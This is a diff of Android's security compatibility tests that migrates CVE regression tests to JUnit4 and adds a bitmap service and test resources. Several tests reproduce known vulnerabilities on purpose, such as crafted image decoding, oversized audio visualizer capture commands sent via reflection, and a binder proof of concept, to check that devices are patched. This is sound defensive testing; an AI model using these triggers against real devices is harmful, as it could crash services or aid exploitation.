+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE05_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 2.f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE05_20_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 2.f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE20_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE20_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE20_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 2.f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE20_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 2.f, 0.5f, true);
+ checkError();
+ }
+
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_4_SCALE05_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 4, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_3_SCALE05_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 3, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_2_SCALE05_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 2, 0.5f, 0.5f, true);
+ checkError();
+ }
+ @AppModeFull(reason = "Instant apps cannot query vendor API level")
+ public void test_F32_1_SCALE05_05_inRectangle_opt() {
+ testResize(inX, inY, Element.DataType.FLOAT_32, 1, 0.5f, 0.5f, true);
checkError();
}
diff --git a/tests/tests/security/Android.bp b/tests/tests/security/Android.bp
index 5838d27..b82b188 100644
--- a/tests/tests/security/Android.bp
+++ b/tests/tests/security/Android.bp
@@ -33,6 +33,7 @@
"compatibility-common-util-devicesidelib",
"guava",
"platform-test-annotations",
+ "sts-device-util",
"hamcrest-library",
],
libs: [
@@ -60,6 +61,7 @@
"src/**/*.java",
"src/**/*.kt",
"src/android/security/cts/activity/ISecureRandomService.aidl",
+ "aidl/android/security/cts/IBitmapService.aidl",
"aidl/android/security/cts/IIsolatedService.aidl",
"aidl/android/security/cts/CVE_2021_0327/IBadProvider.aidl",
],
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 17aa9e8..e43d6aa 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -48,6 +48,10 @@
<service android:name="android.security.cts.activity.SecureRandomService"
android:process=":secureRandom"/>
+
+ <service android:name="android.security.cts.BitmapService"
+ android:process=":bitmap_service" />
+
<activity android:name="android.security.cts.MotionEventTestActivity"
android:label="Test MotionEvent"
android:exported="true">
diff --git a/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
new file mode 100644
index 0000000..b9694c3
--- /dev/null
+++ b/tests/tests/security/aidl/android/security/cts/IBitmapService.aidl
@@ -0,0 +1,25 @@
+/*
+ * Copyright 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+parcelable BitmapWrapper;
+
+interface IBitmapService {
+ int getAllocationSize(in BitmapWrapper bitmap);
+ boolean didReceiveBitmap(in BitmapWrapper bitmap);
+ boolean ping();
+}
diff --git a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
index 31f3a1e..ac9074c 100644
--- a/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
+++ b/tests/tests/security/native/verified_boot/VerifiedBootTest.cpp
@@ -76,6 +76,12 @@
continue;
}
+ if (mount_points.find(entry.mount_point) == mount_points.end()) {
+ GTEST_LOG_(INFO) << entry.mount_point << " isn't mounted, skipping"
+ << " hashtree algorithm verification";
+ continue;
+ }
+
if (android::base::EqualsIgnoreCase(entry.fs_type, "emmc")) {
GTEST_LOG_(INFO) << entry.mount_point << " has emmc fs_type, skipping"
<< " hashtree algorithm verification";
diff --git a/tests/tests/security/res/raw/cve_2020_11135.mp4 b/tests/tests/security/res/raw/cve_2020_11135.mp4
new file mode 100644
index 0000000..55b6955
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2020_11135.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
index 9480251..f16b8fb 100644
--- a/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/ActivityManagerTest.java
@@ -15,26 +15,30 @@
*/
package android.security.cts;
+import static org.junit.Assert.*;
+
import android.app.ActivityManager;
import android.app.ApplicationExitInfo;
import android.content.Context;
import android.os.IBinder;
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
+import androidx.test.runner.AndroidJUnit4;
import androidx.test.InstrumentationRegistry;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import junit.framework.TestCase;
import java.lang.reflect.InvocationTargetException;
-public class ActivityManagerTest extends TestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerTest extends StsExtraBusinessLogicTestCase {
@AsbSecurityTest(cveBugId = 19394591)
+ @Test
public void testActivityManager_injectInputEvents() throws ClassNotFoundException {
try {
/*
@@ -53,6 +57,7 @@
// b/144285917
@AsbSecurityTest(cveBugId = 144285917)
+ @Test
public void testActivityManager_attachNullApplication() {
SecurityException securityException = null;
Exception unexpectedException = null;
@@ -81,6 +86,7 @@
// b/166667403
@AsbSecurityTest(cveBugId = 166667403)
+ @Test
public void testActivityManager_appExitReasonPackageNames() {
final String mockPackage = "com.foo.bar";
final String realPackage = "com.android.compatibility.common.deviceinfo";
diff --git a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
index 5d297c6..fca75a2 100644
--- a/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
+++ b/tests/tests/security/src/android/security/cts/AllocatePixelRefIntOverflowTest.java
@@ -19,21 +19,28 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static org.junit.Assert.*;
import java.io.InputStream;
import android.security.cts.R;
-public class AllocatePixelRefIntOverflowTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AllocatePixelRefIntOverflowTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device is not vulnerable to ANDROID-19270126: Android
* BitmapFactory.decodeStream JPG allocPixelRef integer overflow
*/
@AsbSecurityTest(cveBugId = 19394591)
+ @Test
public void testAllocateJavaPixelRefIntOverflow() {
- InputStream exploitImage = mContext.getResources().openRawResource(
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2015_1531_b_19270126);
/**
* The decodeStream method results in SIGSEGV (Segmentation fault) on unpatched devices
diff --git a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
index 73536e3..397c012 100644
--- a/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
+++ b/tests/tests/security/src/android/security/cts/AmbiguousBundlesTest.java
@@ -16,7 +16,7 @@
package android.security.cts;
-import android.test.AndroidTestCase;
+import static org.junit.Assert.fail;
import android.app.Activity;
import android.os.BaseBundle;
@@ -27,21 +27,29 @@
import android.view.View;
import android.view.View.BaseSavedState;
import android.annotation.SuppressLint;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Random;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
import android.security.cts.R;
import android.platform.test.annotations.AsbSecurityTest;
-public class AmbiguousBundlesTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AmbiguousBundlesTest extends StsExtraBusinessLogicTestCase {
/**
* b/140417434
* Vulnerability Behaviour: Failure via Exception
*/
@AsbSecurityTest(cveBugId = 140417434)
+ @Test
public void test_android_CVE_2020_0082() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -180,6 +188,7 @@
* b/71992105
*/
@AsbSecurityTest(cveBugId = 71992105)
+ @Test
public void test_android_CVE_2017_13310() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -270,6 +279,7 @@
* b/71508348
*/
@AsbSecurityTest(cveBugId = 71508348)
+ @Test
public void test_android_CVE_2018_9339() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@@ -373,6 +383,7 @@
* b/62998805
*/
@AsbSecurityTest(cveBugId = 62998805)
+ @Test
public void test_android_CVE_2017_0806() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
@@ -436,6 +447,7 @@
* b/73252178
*/
@AsbSecurityTest(cveBugId = 73252178)
+ @Test
public void test_android_CVE_2017_13311() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
@@ -530,6 +542,7 @@
* b/71714464
*/
@AsbSecurityTest(cveBugId = 71714464)
+ @Test
public void test_android_CVE_2017_13287() throws Exception {
Ambiguator ambiguator = new Ambiguator() {
@Override
diff --git a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
index 7b26ff0..ca85b65 100644
--- a/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
+++ b/tests/tests/security/src/android/security/cts/AndroidFutureTest.java
@@ -25,6 +25,7 @@
import androidx.test.core.app.ApplicationProvider;
import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import static org.junit.Assert.assertFalse;
import org.junit.Test;
@@ -34,9 +35,9 @@
import java.lang.reflect.Field;
@RunWith(AndroidJUnit4.class)
-public class AndroidFutureTest {
+public class AndroidFutureTest extends StsExtraBusinessLogicTestCase {
- @AsbSecurityTest(cveBugId = 186530450)
+ @AsbSecurityTest(cveBugId = 197228210)
@Test
public void testAndroidFutureReadThrowable() throws Exception {
String filePath = "/data/system/" + System.currentTimeMillis();
diff --git a/tests/tests/security/src/android/security/cts/AssetManagerTest.java b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
index 10e1c20..684fa6f 100644
--- a/tests/tests/security/src/android/security/cts/AssetManagerTest.java
+++ b/tests/tests/security/src/android/security/cts/AssetManagerTest.java
@@ -19,13 +19,19 @@
import android.content.res.AssetManager;
import android.content.res.XmlResourceParser;
import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
-public class AssetManagerTest extends CtsAndroidTestCase {
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class AssetManagerTest extends StsExtraBusinessLogicTestCase {
// b/144028297
@AsbSecurityTest(cveBugId = 144028297)
+ @Test
public void testCloseThenFinalize() throws Exception {
final XmlResourceParser[] parser = {null};
final AssetManager[] assetManager = {AssetManager.class.newInstance()};
diff --git a/tests/tests/security/src/android/security/cts/AttributionSourceTest.java b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
new file mode 100644
index 0000000..e36fa49
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/AttributionSourceTest.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assert.assertThrows;
+
+import java.lang.reflect.Field;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import android.content.AttributionSource;
+import android.content.Context;
+import android.platform.test.annotations.AsbSecurityTest;
+import androidx.test.core.app.ApplicationProvider;
+import androidx.test.runner.AndroidJUnit4;
+
+@RunWith(AndroidJUnit4.class)
+public class AttributionSourceTest {
+
+ @AsbSecurityTest(cveBugId = 200288596)
+ @Test
+ public void testPidCheck() throws Exception {
+ Context context = ApplicationProvider.getApplicationContext();
+ AttributionSource attributionSource =
+ new AttributionSource(
+ (AttributionSource)
+ Context.class.getMethod("getAttributionSource").invoke(context),
+ null);
+
+ Field attSourceStateField =
+ attributionSource.getClass().getDeclaredField("mAttributionSourceState");
+ attSourceStateField.setAccessible(true);
+
+ Object attSourceState = attSourceStateField.get(attributionSource);
+ attSourceState.getClass().getField("pid").setInt(attSourceState, 0);
+ final AttributionSource attributionSourceFinal = attributionSource;
+ assertThrows(SecurityException.class, () -> attributionSourceFinal.enforceCallingPid());
+ }
+}
+
diff --git a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
index 1e1878d..4c8fec8 100644
--- a/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
+++ b/tests/tests/security/src/android/security/cts/AudioSecurityTest.java
@@ -23,14 +23,20 @@
import android.platform.test.annotations.AsbSecurityTest;
import android.util.Log;
-import com.android.compatibility.common.util.CtsAndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
+import static org.junit.Assert.*;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.Arrays;
import java.util.UUID;
-public class AudioSecurityTest extends CtsAndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AudioSecurityTest extends StsExtraBusinessLogicTestCase {
private static final String TAG = "AudioSecurityTest";
private static final int ERROR_DEAD_OBJECT = -7; // AudioEffect.ERROR_DEAD_OBJECT
@@ -58,30 +64,33 @@
private static void testAllEffects(String testName, TestEffect testEffect) throws Exception {
int failures = 0;
- for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
- final AudioEffect audioEffect;
- try {
- audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
- UUID.class, UUID.class, int.class, int.class).newInstance(
- descriptor.type,
- descriptor.uuid, // uuid overrides type
- 0 /* priority */, 0 /* audioSession */);
- } catch (Exception e) {
- Log.w(TAG, "effect " + testName + " " + descriptor.name
- + " cannot be created (ignoring)");
- continue; // OK;
- }
- try {
- testEffect.test(audioEffect);
- Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
- } catch (Exception e) {
- Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
- e);
- ++failures;
- } catch (AssertionError e) {
- Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
- e);
- ++failures;
+ AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+ if (descriptors != null) {
+ for (AudioEffect.Descriptor descriptor : descriptors) {
+ final AudioEffect audioEffect;
+ try {
+ audioEffect = (AudioEffect)AudioEffect.class.getConstructor(
+ UUID.class, UUID.class, int.class, int.class).newInstance(
+ descriptor.type,
+ descriptor.uuid, // uuid overrides type
+ 0 /* priority */, 0 /* audioSession */);
+ } catch (Exception e) {
+ Log.w(TAG, "effect " + testName + " " + descriptor.name
+ + " cannot be created (ignoring)");
+ continue; // OK;
+ }
+ try {
+ testEffect.test(audioEffect);
+ Log.d(TAG, "effect " + testName + " " + descriptor.name + " success");
+ } catch (Exception e) {
+ Log.e(TAG, "effect " + testName + " " + descriptor.name + " exception failed!",
+ e);
+ ++failures;
+ } catch (AssertionError e) {
+ Log.e(TAG, "effect " + testName + " " + descriptor.name + " assert failed!",
+ e);
+ ++failures;
+ }
}
}
assertEquals("found " + testName + " " + failures + " failures",
@@ -90,6 +99,7 @@
// b/28173666
@AsbSecurityTest(cveBugId = 28173666)
+ @Test
public void testAllEffectsGetParameterAttemptOffload_CVE_2016_3745() throws Exception {
testAllEffects("get parameter attempt offload",
new TestEffect() {
@@ -104,6 +114,7 @@
// b/32624850
// b/32635664
@AsbSecurityTest(cveBugId = 32438594)
+ @Test
public void testAllEffectsGetParameter2AttemptOffload_CVE_2017_0398() throws Exception {
testAllEffects("get parameter2 attempt offload",
new TestEffect() {
@@ -116,6 +127,7 @@
// b/30204301
@AsbSecurityTest(cveBugId = 30204301)
+ @Test
public void testAllEffectsSetParameterAttemptOffload_CVE_2016_3924() throws Exception {
testAllEffects("set parameter attempt offload",
new TestEffect() {
@@ -128,6 +140,7 @@
// b/37536407
@AsbSecurityTest(cveBugId = 32448258)
+ @Test
public void testAllEffectsEqualizer_CVE_2017_0401() throws Exception {
testAllEffects("equalizer get parameter name",
new TestEffect() {
@@ -355,6 +368,7 @@
// b/31781965
@AsbSecurityTest(cveBugId = 31781965)
+ @Test
public void testVisualizerCapture_CVE_2017_0396() throws Exception {
// Capture params
final int CAPTURE_SIZE = 1 << 24; // 16MB seems to be large enough to cause a SEGV.
@@ -371,89 +385,93 @@
final int bufferSize = bufferSamples * 2; // bytes per sample for 16 bits
final short data[] = new short[bufferSamples]; // zero data
- for (AudioEffect.Descriptor descriptor : AudioEffect.queryEffects()) {
- if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
- continue;
- }
-
- AudioEffect audioEffect = null;
- AudioTrack audioTrack = null;
-
- try {
- // create track and play
- {
- audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
- AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
- AudioTrack.MODE_STATIC);
- assertEquals("Cannot write to audio track",
- bufferSamples,
- audioTrack.write(data, 0 /* offsetInBytes */, data.length));
- assertEquals("AudioTrack not initialized",
- AudioTrack.STATE_INITIALIZED,
- audioTrack.getState());
- assertEquals("Cannot set loop points",
- android.media.AudioTrack.SUCCESS,
- audioTrack.setLoopPoints(0 /* startInFrames */, bufferFrames, loops));
- audioTrack.play();
+ AudioEffect.Descriptor[] descriptors = AudioEffect.queryEffects();
+ if (descriptors != null) {
+ for (AudioEffect.Descriptor descriptor : descriptors) {
+ if (descriptor.type.compareTo(UUID.fromString(VISUALIZER_TYPE)) != 0) {
+ continue;
}
- // wait for track to really begin playing
- Thread.sleep(200 /* millis */);
+ AudioEffect audioEffect = null;
+ AudioTrack audioTrack = null;
- // create effect
- {
- audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
- UUID.class, UUID.class, int.class, int.class).newInstance(
- descriptor.type, descriptor.uuid, 0 /* priority */,
- audioTrack.getAudioSessionId());
- }
+ try {
+ // create track and play
+ {
+ audioTrack = new AudioTrack(AudioManager.STREAM_MUSIC, sampleRate,
+ AudioFormat.CHANNEL_OUT_STEREO, format, bufferSize,
+ AudioTrack.MODE_STATIC);
+ assertEquals("Cannot write to audio track",
+ bufferSamples,
+ audioTrack.write(data, 0 /* offsetInBytes */, data.length));
+ assertEquals("AudioTrack not initialized",
+ AudioTrack.STATE_INITIALIZED,
+ audioTrack.getState());
+ assertEquals("Cannot set loop points",
+ android.media.AudioTrack.SUCCESS,
+ audioTrack.setLoopPoints(
+ 0 /* startInFrames */, bufferFrames, loops));
+ audioTrack.play();
+ }
- // set capture size
- {
- byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
- .order(ByteOrder.nativeOrder())
- .putInt(0) // status (unused)
- .putInt(4) // psize (sizeof(param))
- .putInt(4) // vsize (sizeof(value))
- .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
- .putInt(CAPTURE_SIZE) // data[4] (value)
- .array();
+ // wait for track to really begin playing
+ Thread.sleep(200 /* millis */);
- Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
- "command", int.class, byte[].class, byte[].class).invoke(
- audioEffect,
- EFFECT_CMD_SET_PARAM,
- command, new byte[4] /* reply */);
- Log.d(TAG, "setparam returns " + ret);
- assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
- }
+ // create effect
+ {
+ audioEffect = (AudioEffect) AudioEffect.class.getConstructor(
+ UUID.class, UUID.class, int.class, int.class).newInstance(
+ descriptor.type, descriptor.uuid, 0 /* priority */,
+ audioTrack.getAudioSessionId());
+ }
- // enable effect
- {
- final int ret = audioEffect.setEnabled(true);
- assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
- }
+ // set capture size
+ {
+ byte command[] = ByteBuffer.allocate(5 * 4 /* capacity */)
+ .order(ByteOrder.nativeOrder())
+ .putInt(0) // status (unused)
+ .putInt(4) // psize (sizeof(param))
+ .putInt(4) // vsize (sizeof(value))
+ .putInt(VISUALIZER_PARAM_CAPTURE_SIZE) // data[0] (param)
+ .putInt(CAPTURE_SIZE) // data[4] (value)
+ .array();
- // wait for track audio data to be processed, otherwise capture
- // will not really return audio data.
- Thread.sleep(200 /* millis */);
+ Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+ "command", int.class, byte[].class, byte[].class).invoke(
+ audioEffect,
+ EFFECT_CMD_SET_PARAM,
+ command, new byte[4] /* reply */);
+ Log.d(TAG, "setparam returns " + ret);
+ assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+ }
- // capture data
- {
- Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
- "command", int.class, byte[].class, byte[].class).invoke(
- audioEffect,
- VISUALIZER_CMD_CAPTURE,
- new byte[0] /* command */, captureBuf /* reply */);
- Log.d(TAG, "capture returns " + ret);
- assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
- }
- } finally {
- if (audioEffect != null) {
- audioEffect.release();
- }
- if (audioTrack != null) {
- audioTrack.release();
+ // enable effect
+ {
+ final int ret = audioEffect.setEnabled(true);
+ assertEquals("Cannot enable audio effect", 0 /* expected */, ret);
+ }
+
+ // wait for track audio data to be processed, otherwise capture
+ // will not really return audio data.
+ Thread.sleep(200 /* millis */);
+
+ // capture data
+ {
+ Integer ret = (Integer) AudioEffect.class.getDeclaredMethod(
+ "command", int.class, byte[].class, byte[].class).invoke(
+ audioEffect,
+ VISUALIZER_CMD_CAPTURE,
+ new byte[0] /* command */, captureBuf /* reply */);
+ Log.d(TAG, "capture returns " + ret);
+ assertTrue("Audio server might have crashed", ret != ERROR_DEAD_OBJECT);
+ }
+ } finally {
+ if (audioEffect != null) {
+ audioEffect.release();
+ }
+ if (audioTrack != null) {
+ audioTrack.release();
+ }
}
}
}
diff --git a/tests/tests/security/src/android/security/cts/BigRleTest.java b/tests/tests/security/src/android/security/cts/BigRleTest.java
index 20ac03a..f441c78 100644
--- a/tests/tests/security/src/android/security/cts/BigRleTest.java
+++ b/tests/tests/security/src/android/security/cts/BigRleTest.java
@@ -18,14 +18,19 @@
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
-import android.test.AndroidTestCase;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.InputStream;
import android.platform.test.annotations.AsbSecurityTest;
import android.security.cts.R;
-public class BigRleTest extends AndroidTestCase {
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+@RunWith(AndroidJUnit4.class)
+public class BigRleTest extends StsExtraBusinessLogicTestCase {
/**
* Verifies that the device does not run OOM decoding a particular RLE encoded BMP.
*
@@ -33,8 +38,9 @@
* we attempted to allocate space for all the encoded data at once, resulting in OOM.
*/
@AsbSecurityTest(cveBugId = 33251605)
+ @Test
public void test_android_bug_33251605() {
- InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33251605);
+ InputStream exploitImage = getInstrumentation().getContext().getResources().openRawResource(R.raw.bug_33251605);
Bitmap bitmap = BitmapFactory.decodeStream(exploitImage);
}
}
diff --git a/tests/tests/security/src/android/security/cts/BinderExploitTest.java b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
index 7516e5b..aa7a360 100644
--- a/tests/tests/security/src/android/security/cts/BinderExploitTest.java
+++ b/tests/tests/security/src/android/security/cts/BinderExploitTest.java
@@ -40,8 +40,8 @@
import java.io.InputStreamReader;
import static org.junit.Assert.assertTrue;
-import android.test.AndroidTestCase;
import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
import android.platform.test.annotations.AsbSecurityTest;
import java.util.ArrayList;
@@ -53,9 +53,14 @@
import android.system.ErrnoException;
import android.widget.TextView;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+
import java.io.File;
import java.util.List;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
class Exchange extends IBinderExchange.Stub {
IBinder binder;
BinderExploitTest.CVE_2019_2213_Activity xpl;
@@ -97,7 +102,8 @@
public native void runxpl(String pipedir);
}
-public class BinderExploitTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BinderExploitTest extends StsExtraBusinessLogicTestCase {
static final String TAG = BinderExploitTest.class.getSimpleName();
private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
@@ -115,6 +121,7 @@
* b/141496757
*/
@AsbSecurityTest(cveBugId = 133758011)
+ @Test
public void testPoc_cve_2019_2213() throws Exception {
Log.i(TAG, String.format("%s", "testPoc_cve_2019_2213 start..."));
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index 444b110..9b9ea1f 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -18,14 +18,18 @@
import android.graphics.BitmapFactory;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
-
+import androidx.test.runner.AndroidJUnit4;
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+import static org.junit.Assert.*;
import android.security.cts.R;
import java.io.BufferedInputStream;
import java.io.InputStream;
-public class BitmapFactoryDecodeStreamTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class BitmapFactoryDecodeStreamTest extends StsExtraBusinessLogicTestCase {
/*
* This test case reproduces the bug in CVE-2015-1532.
* It verifies that the BitmapFactory:decodeStream method is not vulnerable
@@ -33,23 +37,26 @@
* npTc chunk.
*/
@AsbSecurityTest(cveBugId = 19151999)
+ @Test
public void testNinePatchHeapOverflow() throws Exception {
- InputStream inStream = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream inStream = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2015_1532));
BitmapFactory.decodeStream(inStream);
}
@AsbSecurityTest(cveBugId = 36724453)
+ @Test
public void testPocCVE_2017_0691() throws Exception {
- InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.cve_2017_0691));
BitmapFactory.decodeStream(exploitImage);
}
@AsbSecurityTest(cveBugId = 65290323)
+ @Test
public void test_b65290323() throws Exception {
- InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+ InputStream exploitImage = new BufferedInputStream(getInstrumentation().getContext().getResources().openRawResource(
R.raw.b65290323));
BitmapFactory.decodeStream(exploitImage);
}
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
index b1de686..c77b7dd 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactorySecurityTests.java
@@ -16,10 +16,15 @@
package android.security.cts;
+import static org.junit.Assert.*;
+
+import android.content.Context;
import android.graphics.BitmapFactory;
import android.os.ParcelFileDescriptor;
import android.platform.test.annotations.AsbSecurityTest;
-import android.test.AndroidTestCase;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.sts.common.util.StsExtraBusinessLogicTestCase;
import java.io.File;
import java.io.FileDescriptor;
@@ -27,13 +32,16 @@
import java.io.InputStream;
import java.lang.Exception;
